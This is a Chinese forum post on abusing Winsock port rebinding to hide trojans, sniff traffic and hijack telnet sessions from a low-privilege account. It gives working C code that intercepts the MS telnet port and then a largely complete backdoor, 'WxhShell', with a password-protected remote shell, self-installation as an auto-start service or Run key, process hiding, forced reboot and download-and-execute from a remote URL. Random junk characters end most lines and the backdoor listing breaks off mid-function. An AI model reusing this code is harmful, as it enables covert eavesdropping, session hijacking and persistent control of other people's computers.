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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5L"{J5R}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iO,0Sb <y  
z#SBt`c  
  saddr.sin_family = AF_INET; Pj8s;#~u  
TfDx> F$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QROe+:  
qeb:n$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /4<eI 3Z  
q4|TwRx~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0:@:cz=#*  
.&T JSIx$  
  这意味着什么?意味着可以进行如下的攻击: n Uz 2~z  
q!$?G]-%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~}z{RE($v  
KFkKr>S :  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "$;=8O5O  
PBTGN;y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sF C&DTb?  
&-470Z%/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !r,ZyJU  
Ts:3_4-k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "O<JVC{m  
7,d^?.~S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `f}}z5  
cH.T6u_%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]m{;yOQdsC  
r3mB"("Z'  
  #include Ny /bNQS  
  #include G0^WQQ4  
  #include -ytSS:|%\  
  #include    #9,!IW]l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9qc1^Fs~  
  int main() @`t)ly#N  
  { P>z k  
  WORD wVersionRequested; yYkk0 3  
  DWORD ret; vHZw{'5y  
  WSADATA wsaData; K8$Hg:Ky-/  
  BOOL val; 4r\Sbh  
  SOCKADDR_IN saddr; KwlN  
  SOCKADDR_IN scaddr; :=+s^K  
  int err; 6+_)(+ c  
  SOCKET s; >r2m1}6g"  
  SOCKET sc; L~cswG'K  
  int caddsize; J/pW*G-U|  
  HANDLE mt; 2^Tj7@  
  DWORD tid;   &,4^LFZ W  
  wVersionRequested = MAKEWORD( 2, 2 ); SXSH9;j  
  err = WSAStartup( wVersionRequested, &wsaData ); |Vs|&0  
  if ( err != 0 ) { Ua#*kTF  
  printf("error!WSAStartup failed!\n"); y/K%F,WMf  
  return -1; @] 1E~  
  } xAMj16ZF  
  saddr.sin_family = AF_INET; 4NMv7[r  
   1 M7=*w,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @tdX=\[~  
g^26Gb.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $NJ]2P9L  
  saddr.sin_port = htons(23); iOm~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ps[TiW{q;  
  { :c"J$wT/  
  printf("error!socket failed!\n"); nchhNU  
  return -1; I1=YSi;A  
  } >G92k76G  
  val = TRUE; 6A7UW7/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %f\ M61Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2lDgv ug  
  { 2mP| hp?  
  printf("error!setsockopt failed!\n"); 8XD9fB^  
  return -1; 8RbtI4  
  } Y.sf^}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XtRfzqg?K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 12])``9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X&0m$x  
udX4SBq-pC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  wa6DJ  
  { y4$UPLm  
  ret=GetLastError(); _tS<\zy@y  
  printf("error!bind failed!\n"); O66\s q  
  return -1; &ME[H  
  } %?J\P@  
  listen(s,2); 2/RK pl &  
  while(1) Z%\9y]zs  
  { dt{ |bQLu3  
  caddsize = sizeof(scaddr); P1]ucu_y,  
  //接受连接请求 -q[T0^e S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pOS:/~I3  
  if(sc!=INVALID_SOCKET) ;XSRG*3j~4  
  { _SjS^z~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?|Fu^eR%X  
  if(mt==NULL) zh2$U dZ|M  
  { %}j.6'`{  
  printf("Thread Creat Failed!\n"); =\e}fyuK  
  break; G5egyP;  
  } 3Zs|arde2  
  } zL5r8mD3  
  CloseHandle(mt); ndT:,"s  
  } L.$9ernVY  
  closesocket(s); MI0'ou8l  
  WSACleanup(); 8s-RNA>7^  
  return 0; Gy.<gyK9  
  }   S;M'qwN  
  DWORD WINAPI ClientThread(LPVOID lpParam) `0 uKJF g  
  { {H#1wu^]O$  
  SOCKET ss = (SOCKET)lpParam; a8rsF  
  SOCKET sc; 8kXbyKX[b  
  unsigned char buf[4096]; cveTrY}g  
  SOCKADDR_IN saddr; 1*S It5?4  
  long num; + _rjA_  
  DWORD val; @y[Zr6\z  
  DWORD ret; aDb@u3X@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -`n>q^A7e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E D*=8 s2  
  saddr.sin_family = AF_INET; h']R P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $TU=^W)X  
  saddr.sin_port = htons(23); }>b4s!k,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !p >a,8w  
  { L7_(KCh  
  printf("error!socket failed!\n"); E0$UoP   
  return -1; 9*GwW&M%1_  
  } AT}}RE@vq  
  val = 100; 5Qd |R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M(HU^?B{'  
  { gF^l`1f"  
  ret = GetLastError(); F#7ZR*ZB1  
  return -1; A@bWlwfl  
  } &{9'ylv-B)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NoO>CjeFb  
  { n{d}]V@  
  ret = GetLastError(); QG?7L_I  
  return -1; !;{@O`j?b  
  } GRCc<TM, U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [6K2V:6:  
  { >/;\{IG Wn  
  printf("error!socket connect failed!\n"); FXV=D_G}  
  closesocket(sc); bM;yXgorU  
  closesocket(ss); q -M&f@Il  
  return -1; Bwjd/id q  
  } qGuz`&i  
  while(1) R?qVFMQ  
  { 0&=2+=[c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >F8&wh'BjY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kFgN^v^t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6[$kEKOY=  
  num = recv(ss,buf,4096,0); "h_]it};C  
  if(num>0) tPPnW  
  send(sc,buf,num,0); $_k'!/5  
  else if(num==0) 2`+?s  
  break; ZLyJ  
  num = recv(sc,buf,4096,0); =rl/ l8|P  
  if(num>0) y$r^UjJEO  
  send(ss,buf,num,0); OMd{rH  
  else if(num==0) Q-F'-@`(C  
  break; aO.'(kk8  
  } %}%D8-d}G  
  closesocket(ss); B}X   C  
  closesocket(sc); kuu9'Sqc'b  
  return 0 ; 3:<+9X  
  } Ky|Hi3?  
Jme}{!3m  
%56pP"w  
========================================================== Odxq]HlbO  
hghtF  
下边附上一个代码,,WXhSHELL B, xrZs  
->n<9  
========================================================== <Xm5re.  
5 usfyY]z  
#include "stdafx.h" n} GIf&  
}U7>_b2  
#include <stdio.h> {*~aVw {k  
#include <string.h> ItDe_|!L  
#include <windows.h> &~pj)\_  
#include <winsock2.h> vNL f)B  
#include <winsvc.h> iN*d84KTP  
#include <urlmon.h> to[EA6J8l  
v|VY5vN  
#pragma comment (lib, "Ws2_32.lib") -?e~dLu  
#pragma comment (lib, "urlmon.lib") w4'(Y,(`  
MVjc.^  
#define MAX_USER   100 // 最大客户端连接数 Yk(OVl T  
#define BUF_SOCK   200 // sock buffer Xx:0Nt]  
#define KEY_BUFF   255 // 输入 buffer q?[{fcNh$  
d%1S6eYa'  
#define REBOOT     0   // 重启 b;]'Bo0K  
#define SHUTDOWN   1   // 关机 |o~FKy1'z\  
e~$MIHBY]  
#define DEF_PORT   5000 // 监听端口 _S8]W !c  
Il2DZ5- )  
#define REG_LEN     16   // 注册表键长度 ,Ot3N\%yn  
#define SVC_LEN     80   // NT服务名长度 Ptzha?}OZ  
(Ew o   
// 从dll定义API f<xF+wE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $%;NX[>j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _E)xR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^%M!!wlUH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C+P}R]cT"  
6'(5pt  
// wxhshell配置信息 \@pl:Os  
struct WSCFG { [4kx59J3b  
  int ws_port;         // 监听端口 <%JdQ82?  
  char ws_passstr[REG_LEN]; // 口令 |?s%8c'w=  
  int ws_autoins;       // 安装标记, 1=yes 0=no PdMx6 Ab  
  char ws_regname[REG_LEN]; // 注册表键名 cy)L%`(7  
  char ws_svcname[REG_LEN]; // 服务名 fTY@{t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N TXT0:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;&W N%L*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 { YJ.BWr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zVxiCyU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X^_,`H@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  1k2Ck  
bsM`C]h&  
}; EM vV  
@MtF^y  
// default Wxhshell configuration ^>GL<1 1  
struct WSCFG wscfg={DEF_PORT, k :7UU4M 5  
    "xuhuanlingzhe", 8Qu7x[tK?  
    1, 9`dQ7z.8t  
    "Wxhshell", \VHi   
    "Wxhshell", s?~Abj_  
            "WxhShell Service", 5zpk6FR$  
    "Wrsky Windows CmdShell Service", :J(a;/~ip  
    "Please Input Your Password: ", U(W#H|  
  1, )#ic"UtR  
  "http://www.wrsky.com/wxhshell.exe", #$jAGt3^BT  
  "Wxhshell.exe" [+{ ot   
    }; s7FqE>#c0  
dAEz hR[=  
// 消息定义模块 &wNN| fH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A!fjw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *X%`MN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BTjF^&`  
char *msg_ws_ext="\n\rExit."; YH':cze  
char *msg_ws_end="\n\rQuit."; TUy*wp9  
char *msg_ws_boot="\n\rReboot..."; *Ei~2O}  
char *msg_ws_poff="\n\rShutdown..."; |YZ`CN<  
char *msg_ws_down="\n\rSave to "; F!pUfF,&  
F__DPEAc_  
char *msg_ws_err="\n\rErr!"; n9bX[+#d  
char *msg_ws_ok="\n\rOK!"; ji A$6dZU  
:U ?P~HI  
char ExeFile[MAX_PATH]; 8x58sOR=  
int nUser = 0; L}>9@?;GW  
HANDLE handles[MAX_USER]; 4DuZF -y  
int OsIsNt; En5Bsz !  
ed{z^!w4  
SERVICE_STATUS       serviceStatus; T:; e73  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1)u= &t,  
)/ s 9ty  
// 函数声明 rxP^L(q0*  
int Install(void); VrF]X#\)  
int Uninstall(void); 2Q9s?C   
int DownloadFile(char *sURL, SOCKET wsh); r2""p  
int Boot(int flag); ;-*4 (3lu  
void HideProc(void); g^B 6N F  
int GetOsVer(void); N_C\L2  
int Wxhshell(SOCKET wsl); %3xH<$Gq5  
void TalkWithClient(void *cs); v{JCEb&wN  
int CmdShell(SOCKET sock); . s? ''/(  
int StartFromService(void); gP/]05$e  
int StartWxhshell(LPSTR lpCmdLine); IFG`  
3XL0Pm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >kC@7h5)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]NTHit^EX  
kdxs{b"t  
// 数据结构和表定义 ,wX/cUyZ  
SERVICE_TABLE_ENTRY DispatchTable[] = mXhr: e  
{ d:A+s>`$M  
{wscfg.ws_svcname, NTServiceMain}, +"' h?7'C  
{NULL, NULL} NNe'5q9  
}; ReSP)%oW  
guwnYS  
// 自我安装 3D<P [.bS  
int Install(void) Em4TEv  
{ =@3Qsd  
  char svExeFile[MAX_PATH]; " Jv&=zJ  
  HKEY key; AqN(htGvx  
  strcpy(svExeFile,ExeFile); P Cw.NJd$  
 .':SD{  
// 如果是win9x系统,修改注册表设为自启动 _9L2JN$R6  
if(!OsIsNt) { ?:U6MjlQ"{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3c9v~5og4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :dLS+cTC  
  RegCloseKey(key); m{b(^K9}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I9Z8]Q+2"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Fbq/63  
  RegCloseKey(key); rTmcP23]  
  return 0; l l&iMj]  
    } WU=Os8gR  
  } /8Vh G|Wb  
} !*CL>}-,  
else { E(u[?  
q/4PX  
// 如果是NT以上系统,安装为系统服务 {Ziq~{W_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z#,?*v  
if (schSCManager!=0) yGS._;#R  
{ _ZR2?y-M  
  SC_HANDLE schService = CreateService It]CoAo+  
  ( ]&}?J:+?0E  
  schSCManager, E"V|Plf c  
  wscfg.ws_svcname, 4=q\CK2^A  
  wscfg.ws_svcdisp, ^]aDLjD  
  SERVICE_ALL_ACCESS, P6IhpB59  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YdeSJ(:  
  SERVICE_AUTO_START, oO= 6Kd+T  
  SERVICE_ERROR_NORMAL, WBC'~h<@  
  svExeFile, yP-.8[;  
  NULL, A`OU} 'v?L  
  NULL, zEks4yd  
  NULL, DbOWnXV"o  
  NULL, 3!Bekn]  
  NULL &,e@pvc3  
  ); @<alWBS  
  if (schService!=0) ?+5K2Zk  
  { c&'T By  
  CloseServiceHandle(schService); ]^ j)4us  
  CloseServiceHandle(schSCManager); Dm4\Rld{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8dL(cC  
  strcat(svExeFile,wscfg.ws_svcname); 9KAXc(-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2RM0ca _F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :SYg)|s  
  RegCloseKey(key); gVZ~OcB!W  
  return 0; 0|4XV{\qT$  
    } 66z1_ lA  
  } {H0B"i  
  CloseServiceHandle(schSCManager); Cu/w><h)  
} cT.1oaAM0  
} 6J&L5E  
Gia_B6*Y[  
return 1; oq0G@  
} 0eUsvzz 15  
B}*xrPj  
// 自我卸载 }1(F~6RH  
int Uninstall(void) L\n_q6n  
{ ~~yo& ]  
  HKEY key; M4')gG;  
Y|1kE;  
if(!OsIsNt) { MNJ$/l)h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L0uN|?}  
  RegDeleteValue(key,wscfg.ws_regname); >nTGvLOq  
  RegCloseKey(key); \idg[&}l}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n{UB^-}5  
  RegDeleteValue(key,wscfg.ws_regname); 8+GlM+>4  
  RegCloseKey(key); F!SmCE(0x  
  return 0; {)k}dr  
  } (( t8  
} t@!oc"z}@  
} Soop)e  
else { 501|Y6ptl  
W%Ky#!\-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WH'[~O  
if (schSCManager!=0) A\z[/3& RK  
{ T.&^1qWWA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \9D '7/$I,  
  if (schService!=0) O{%y `|m  
  { #M8"b]oh6  
  if(DeleteService(schService)!=0) { GS)l{bS#[O  
  CloseServiceHandle(schService); ~0worI?  
  CloseServiceHandle(schSCManager); gbKms ; :  
  return 0; PW.W.<CL  
  } Fdvex$r&  
  CloseServiceHandle(schService); 1Rwk}wL  
  } Ym!Ia&n  
  CloseServiceHandle(schSCManager); vw+ @'+  
} =zI eZ7  
} nDaQ1  
<Ep P;  
return 1; (u$Q  
} zFv>'1$  
^WM)UZEBC  
// 从指定url下载文件 % ]  
int DownloadFile(char *sURL, SOCKET wsh)  8tPq5i  
{ LI(Wu6*Y  
  HRESULT hr; Y+WOU._46I  
char seps[]= "/"; -bKli<C  
char *token; HfmTk5|/  
char *file; L6U[H#3(  
char myURL[MAX_PATH]; YMJjO0  
char myFILE[MAX_PATH]; i mJ{wF  
&a-:ZA@  
strcpy(myURL,sURL); 6)DYQ^4y  
  token=strtok(myURL,seps); c< \:lhl  
  while(token!=NULL) ,D~C40f  
  { t5e%"}>7H  
    file=token; XlB`Z81j  
  token=strtok(NULL,seps); e9N 1xB  
  } O7q-MeMM  
]36R_Dp  
GetCurrentDirectory(MAX_PATH,myFILE); TQbhK^]  
strcat(myFILE, "\\"); O2A Z|[*I  
strcat(myFILE, file); Ks!.$y:x  
  send(wsh,myFILE,strlen(myFILE),0); !y?g$e`  
send(wsh,"...",3,0); %'t~+_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :9K5zD  
  if(hr==S_OK) l<^#@SH  
return 0; .F}ZP0THnZ  
else 3Jk;+<  
return 1; WvNX%se]3  
QbpRSdxy`$  
} KqaeRs.u  
aoMQ_@0  
// 系统电源模块 RI cA)I.  
int Boot(int flag) ~vaV=})  
{ Fc42TH p  
  HANDLE hToken; [nYwJ  
  TOKEN_PRIVILEGES tkp; IXX^C}\,  
Z/56JYt!~  
  if(OsIsNt) { #!9aTp).AL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B||^ sRMX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :S?'6lOc(  
    tkp.PrivilegeCount = 1; y]M/oH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E jBEZL|_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZK_IK)g  
if(flag==REBOOT) { )SUT+x(DU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qFf'RgUtP  
  return 0; TZPWMCN4  
} 8|V6RgA%  
else { v@"xEf1n[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  3]<$;[Q  
  return 0; 0(-'L\<>x  
} Qh)@-r3  
  } <@5#  
  else { r~TiJ?8I  
if(flag==REBOOT) { Q)HVh[4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lj({ T'f(  
  return 0; H6rWb6i  
} a*74FVZo.;  
else { `h :&H,N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >y%$]0F1  
  return 0; :uhvDYp(-  
} OsvAm'B  
} yIqsZJj  
NfS0yQPx  
return 1; tSE6m-  
} ]#))#-&1  
$U"/.Mh\  
// win9x进程隐藏模块 mMu3B2nke=  
void HideProc(void) E{ Y0TZ+  
{ KdYT5VUM/  
y|iZuHS}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )d0&iE`@  
  if ( hKernel != NULL ) k/!Vv#8  
  { M ~.w:~Jm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LDr!d1A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ri aO`|1  
    FreeLibrary(hKernel); EmG`ga)s  
  } LQNu]2  
% NX  
return; `=b*g24z[N  
} NZ9`8&93  
$* 8c0.{U  
// 获取操作系统版本 ;^O^&<  
int GetOsVer(void) 09%q/-$  
{ dg/7?gV  
  OSVERSIONINFO winfo; JB''Ujyi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9v 0.]  
  GetVersionEx(&winfo); =5I1[p;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6DR@$fpt  
  return 1; |PDuvv!.f  
  else hFj.d]S  
  return 0; j$&k;S  
} 9BNAj-Xa  
[WX+/pm7>  
// 客户端句柄模块 noh3mi  
int Wxhshell(SOCKET wsl) tNmH*"wR<  
{ B;hc|v{(  
  SOCKET wsh; 0%`\ 8  
  struct sockaddr_in client; f9&D0x?  
  DWORD myID; Mwp#.du(  
+J_A *B  
  while(nUser<MAX_USER) (. 1<.PZp)  
{ .l !:|Fd  
  int nSize=sizeof(client); D\N-ye1LE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +*!oZKm.  
  if(wsh==INVALID_SOCKET) return 1; H&3VPag  
_Vj O [hx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6~;fj+S  
if(handles[nUser]==0) a5L#c=  
  closesocket(wsh); 'rp(k\ pY  
else -md2Z0^ Kc  
  nUser++; Wq F(  
  } g4RkkoZ>)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zu^?9k  
?ti7iBz?  
  return 0; }9<aX Y,  
} |@Q(~[It  
E' JVf%)  
// 关闭 socket zrRt0}?xl  
void CloseIt(SOCKET wsh) I)_072^O  
{ jr" yIC_  
closesocket(wsh); <s]K~ Vo  
nUser--; ,^:Zf|V  
ExitThread(0); Xdq2.:\  
} V{ra,a*  
H<X4R  
// 客户端请求句柄 P}DrUND  
void TalkWithClient(void *cs) L1P]T4a@)  
{ _ CXKJ]m4  
~W%A8`9  
  SOCKET wsh=(SOCKET)cs; Wy)|-Q7  
  char pwd[SVC_LEN]; J U}XSb  
  char cmd[KEY_BUFF]; W4|1wd}.t  
char chr[1]; WI[6 l6  
int i,j; 92+({ fg W  
iDp]l u  
  while (nUser < MAX_USER) { zdU<]ge  
"MM7qV  
if(wscfg.ws_passstr) { tvf"w`H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3(E"$Se,f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^dYFFKQ  
  //ZeroMemory(pwd,KEY_BUFF); c^A3|tCi  
      i=0; uC 5mxZ  
  while(i<SVC_LEN) { s-k~_C>Fw  
6jPaS!E  
  // 设置超时 (gl CTF9v  
  fd_set FdRead; `^wF]R  
  struct timeval TimeOut; j05ahquI  
  FD_ZERO(&FdRead); im*QaO%a4  
  FD_SET(wsh,&FdRead); L.l"'=M  
  TimeOut.tv_sec=8; \dbpC Z  
  TimeOut.tv_usec=0; Vu^J'>X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jEit^5^5|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4-ZiKM  
}I#;~|v~<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < LzN/I aJ  
  pwd=chr[0]; B/i,QBPF]  
  if(chr[0]==0xd || chr[0]==0xa) { Q(oWaG  
  pwd=0; [-s0'z  
  break; rTDx|pvYx  
  } [^1;8Tbk  
  i++; kxTh tjgv  
    } wf6ZzG:  
}Jjq]lW  
  // 如果是非法用户,关闭 socket FL(gwfL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $hg W>e  
} "aB]?4  
yr[iAi"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kx]f`b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EOVHTDkKf  
.6(Bf$E  
while(1) { ?n?Ep[D  
l OI(+74  
  ZeroMemory(cmd,KEY_BUFF); 04WKAP'c N  
pOlQOdl  
      // 自动支持客户端 telnet标准   fHlmy[V+M  
  j=0; 67/hhO  
  while(j<KEY_BUFF) { 1 (P >TH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +@usJkxul  
  cmd[j]=chr[0]; XHlPjw  
  if(chr[0]==0xa || chr[0]==0xd) { wgkh} b   
  cmd[j]=0; Ju)2J?Xs5  
  break; Il~ph9{JH  
  } ~" }t8`vP1  
  j++; 0-l @U{  
    } 9);a0}*5  
_S2QY7/  
  // 下载文件 "MZVwl"E#  
  if(strstr(cmd,"http://")) { Lo7R^>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /LPSI^l!m  
  if(DownloadFile(cmd,wsh)) sBZKf8@/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*A6Ba  
  else Zo-s_6uC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I&Yu=v/_  
  } 3::DURkjf  
  else { !_l W#feR  
 ]c[80F-  
    switch(cmd[0]) { 'ZT E"KT  
  .~ZNlI {K  
  // 帮助 aR*z5p2-w  
  case '?': { G80d!*7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ax=Rb B"  
    break; !Lk|eGd*  
  } DE."XSni  
  // 安装 j= ]WAjT  
  case 'i': { ~?[%uGI0h  
    if(Install()) y5|`B(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WvUe44&^$  
    else NrNbNFfo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$!}MxUM  
    break; 0qw,R4YK  
    } N}>`Xm 5'  
  // 卸载 /G G QO$'  
  case 'r': { f o4j^,`  
    if(Uninstall()) VAsaJ`vcb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y;xVB" (  
    else $N+a4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %CD}A%~  
    break; vxk1RL*Xu  
    } i7cMe8  
  // 显示 wxhshell 所在路径 RUYw D tC  
  case 'p': { .OX.z~":y  
    char svExeFile[MAX_PATH]; =NH:/j^  
    strcpy(svExeFile,"\n\r"); >[O @u4  
      strcat(svExeFile,ExeFile); sW3-JA]  
        send(wsh,svExeFile,strlen(svExeFile),0); +\\,FO_  
    break; [=S@lURzm@  
    } cDm_QYQ  
  // 重启 hgfCM  
  case 'b': { _Bb/~^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y.[^3  
    if(Boot(REBOOT)) $-jj%x\}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <M7@JgC &  
    else { EAj2uV  
    closesocket(wsh); ^qS[2Dy  
    ExitThread(0); T$0//7$')  
    } bkLm]n3  
    break; [fxAj]  
    } T AwA)Zg  
  // 关机 7W5FHZd'  
  case 'd': { T&w3IKb|}  
